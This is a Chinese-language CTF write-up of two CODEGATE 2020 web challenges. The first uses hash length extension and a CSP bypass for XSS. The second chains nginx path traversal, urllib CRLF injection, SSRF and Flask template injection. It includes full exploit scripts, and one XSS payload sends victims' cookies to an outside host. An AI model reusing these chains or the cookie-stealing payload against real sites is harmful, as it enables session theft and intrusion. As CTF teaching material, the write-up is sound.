已经完全变成事后看 writeup 复现型选手了……

CSP

题目直接给了代码

<?php
require_once 'config.php';

if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
    die("??");
}

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);qaq
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);

    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/<.*>/", $p1))
            continue;
        echo $p1;
        echo "\n<br />\n";
    }
    elseif ($n === "hello") {
        echo "Hello, World!\n";
    }
}

测试题目功能:

CSP

可以看到题目提供了 view.php 来先将 (name,p1,p2) 这样一个三元组 base64 拼接之后再签名,签名完成后会通过一个 iframe 形式加载 api.php,即将 view.php 的参数 name \ p1 \ p2 转为 api.php 的参数 q \ sig

此时我们注意到返回的页面存在以下 CSP 规则:

Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none'

很明显本题就是考 CSP 绕过的 XSS 了,相应的 CSP 规则为不允许执行 JavaScript、iframe 等标签也只能在同个源下。考虑到题目同时提供了修改 header 和创建 body 等功能,因此我们的思路非常直接:利用 header 功能来绕过 CSP,同时利用 body 来写入 payload 进行 XSS。

不过由于 view.php 只能提供单一元组 (x,y,z) 的签名,在此之前我们需要通过哈希拓展攻击计算出构造出的 payload 的签名。首先,需要测试出 $salt 变量的长度,编写如下测试脚本,最终发现长度为 12。

import requests
import hashpumpy
import base64

orig_sig = "7f104404b0d414d18ab3efb831e333d7"
orig_data = ",,"
url = "http://110.10.147.166/api.php?sig={}&q={}"

for i in range(1, 32):
    result = hashpumpy.hashpump(orig_sig, orig_data, "|Ym9keQ==,YWJj,", i)
    sig = result[0]
    q = base64.b64encode(result[1]).decode()
    url = url.format(sig, q)
    res = requests.get(url)
    if res.text.find('abc') != -1:
        print(i)
        break

现在我们的 payload 里能同时囊括 header 和 body 了,下一步就需要考虑绕过 CSP,这里利用 404 页面没有 CSP 规则的限定来进行绕过。具体可以参考这篇文章 CSP unsafe-inline时, 引入外部js ,大意上就是利用服务端对 404 页面的 CSP 规则的疏忽来伪造一个可控的 404 页面最终实现 xss。

下面来具体操作,在 header 里设置 HTTP/1 404 ,可以发现返回的页面中不存在令我们头疼的 CSP 规则:

404 without CSP

在 CSP 规则不存在的情况下,我们非常简单就可以在 body 处进行 xss,考虑到 waf if(preg_match("/<.*>/", $p1)) continue;,所以需要利用 html 对不完整标签的支持来绕过。最终 exp 如下:

exp & flag

import requests
import hashpumpy
import base64

orig_sig = "badc953c8e3c164c4be0b6fb3b388834"
orig_data = "aGVhZGVy,SFRUUC8xIDQwNA==,Q1NQ" # (header, HTTP/1 404, CSP)
url = "http://110.10.147.166/api.php?sig={}&q={}"

body = (base64.b64encode(b'body'),base64.b64encode(b'<img src=x onerror="document.location=`http://www.syang.xyz/?flag=`+document.cookie"'),b'')

exp = "|{},{},{}".format(
    body[0].decode('utf8'),
    body[1].decode('utf8'),
    ''
    )

result = hashpumpy.hashpump(orig_sig, orig_data, exp, 12)
url = url.format(result[0], base64.b64encode(result[1]).decode())
print(url)
res = requests.get(url)
print(res.text)

CSP - flag

CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}

renderer

题目给了两个文件,分别是 Dockerfile :

FROM python:2.7.16

ENV FLAG CODEGATE2020{**DELETED**}

RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi

ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf

ADD prob_src/static /home/static
RUN chmod 777 /home/static

RUN mkdir /home/tickets
RUN chmod 777 /home/tickets

ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh

ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh

CMD ["/bin/bash", "/home/run.sh"]

run.sh:

#!/bin/bash

service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask

service nginx restart

uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &

/bin/bash

题目给出这两个配置的文件主要还是提醒我们注意以下两点:

  1. python 2.7.16
  2. nginx + uwsgi

题目功能

可以看到是一个 proxy 题,题目会代替你请求相应的 link 并将结果返回:

renderer

nginx 配置不当 - 目录穿越

CTF 中 nginx 相关的常见考点:配置不当导致的目录穿越问题,该问题的具体描述可以参考 phith0n 的 三个案例看Nginx配置安全。这里只需要知道一个结论,当 nginx 存在配置不当的问题时,可能使用 .. 来进行目录穿越。

利用 http://58.229.253.144/static../src/app/init.py 成功获得源码:

from flask import Flask
from app import routes
import os

app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")

利用 http://58.229.253.144/static../src/app/routes.py 获得路由,相应文件已经贴到 gist 上了 routes.py

CRLF 注入

测试题目功能,请求 VPS:

Connection from [58.229.253.144] port 8181 [tcp/*] accepted (family 2, sport 46462)
GET / HTTP/1.1
Accept-Encoding: identity
Host: xxx.xxx.xxx:8181
Connection: close
User-Agent: Python-urllib/2.7

发现题目使用的是 urllib 完成请求,搜索 urllib 和 python2.7.16 关键字,搜得 CVE-2019-9947,其影响范围恰好 <= python2.7.16,测试 payload http://vps-ip:port?%0d%0apayload%0d%0apadding 成功,说明 CRLF 注入问题存在。

源码审计

一般而言,python 的考点以 ssti 居多,特别是 flask,因此先注意所有的 render_template 函数:

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())
  
def get_ip():
    return request.remote_addr

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()

虽然这里的路由 /whatismyip 可以被 X-Forwarded-For 影响,但实际测试中发现无法触发 ssti 漏洞,因此需要继续审计代码获得漏洞点:

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()

    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

这里我们注意到 render_template_string(log),变量 log 会被渲染,因此这里很可能存在一个 ssti 漏洞。而如何控制 log 变量?可以看到 log 变量来自 read_log 函数:

def read_log(ticket):
    if not (ticket and ticket.isalnum()):
        return False
    
    if path.exists("/home/tickets/%s" % ticket):
        with open("/home/tickets/%s" % ticket, "r") as f:
            return f.read()
    else:
        return False

而哪里可以写这个文件呢,继续往下看,注意到函数:

@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()

    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)

    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)

ip != rip 时存在一次写入机会,可以调用 write_log 并返回相应的 tid:

def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)
    
    return tid

由于进入该函数的条件是 ip in ["127.0.0.1", "127.0.0.2"],所以我们必须使用 SSRF 来访问该路由,同时,在 SSRF 访问该路由的前提下,仍然需要保持 ip != rip,因此需要利用 CRLF 注入漏洞来写入 header X-Forwarded-For

然后回顾 /admin/ticket 路由的条件,同样是 ip in ["127.0.0.1", "127.0.0.2"],因此需要继续 SSRF,其次是 request.headers.get("User-Agent") != "AdminBrowser/1.337",因此需要继续 CRLF 注入相应的请求头来覆盖默认的 urllib 请求头,为了构造的合理性,需要如下构造:

url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%Host: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\nx

思路总结

  1. 利用 CRLF + SSRF 写入 log 文件,获得 ticket id(CRLF 注入 X-Forwarded-For)
  2. 利用 CRLF + SSRF 访问 /admin/ticket 触发 ssti 漏洞 (CRLF 注入 User-Agent)

exp

通过之前的源码,我们可以知道利用 ssti 访问 config 变量即可获得 flag:

import requests

url = 'http://58.229.253.144/renderer/'

payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1\r\nX-Forwarded-For: {}\r\n'''
payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket={} HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\nX-Forwarded-For: 127.0.0.1\r\naaa'''

ssti_payload = '{{ config }}'
data = {
	'url': payload1.format(ssti_payload)
}
r = requests.post(url=url, data=data)

ticket = r.content[1652:1692]
data = {
	'url': payload2.format(ticket)
}
r = requests.post(url=url, data=data)
print(r.content)

最后成功获得 FLAG:CODEGATE2020{CrLfMakesLocalGreatAgain}

后记

太菜了,基本就靠飘零师傅那边的思路来回顾题目了……

参考链接